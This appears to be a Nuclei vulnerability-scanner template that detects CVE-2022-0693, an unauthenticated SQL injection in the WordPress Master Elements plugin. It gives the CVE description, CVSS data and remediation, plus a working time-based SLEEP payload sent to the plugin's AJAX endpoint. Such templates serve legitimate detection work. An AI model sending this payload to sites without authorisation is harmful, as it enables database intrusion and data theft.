CVE-2022-0693: WordPress Master Elements <=8.0 - SQL Injection

id: CVE-2022-0693

info:
  name: WordPress Master Elements <=8.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Master Elements plugin through 8.0 contains a SQL injection vulnerability. The plugin does not validate and escape the meta_ids parameter of its remove_post_meta_condition AJAX action, available to both unauthenticated and authenticated users, before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
  remediation: |
    Update to the latest version of WordPress Master Elements plugin (>=8.1) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/a72bf075-fd4b-4aa5-b4a4-5f62a0620643
    - https://wordpress.org/plugins/master-elements
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0693
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0693
    cwe-id: CWE-89
    epss-score: 0.06918
    epss-percentile: 0.93758
    cpe: cpe:2.3:a:devbunch:master_elements:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: devbunch
    product: master_elements
    framework: wordpress
  tags: time-based-sqli,cve2022,cve,unauth,wpscan,wp-plugin,wp,sqli,wordpress,master-elements,devbunch,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?meta_ids=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&action=remove_post_meta_condition HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "Post Meta Setting Deleted Successfully")'
        condition: and
# digest: 4a0a00473045022067b5493ad7eef424f5109402d5b5a34940268036470b2973f231492a4894771e022100c5923bfb458b132a71eab862a1d5d9057e2bbb7428b68df79dd97cb23f05fa2a:922c64590222798bb761d5b6d8e72950

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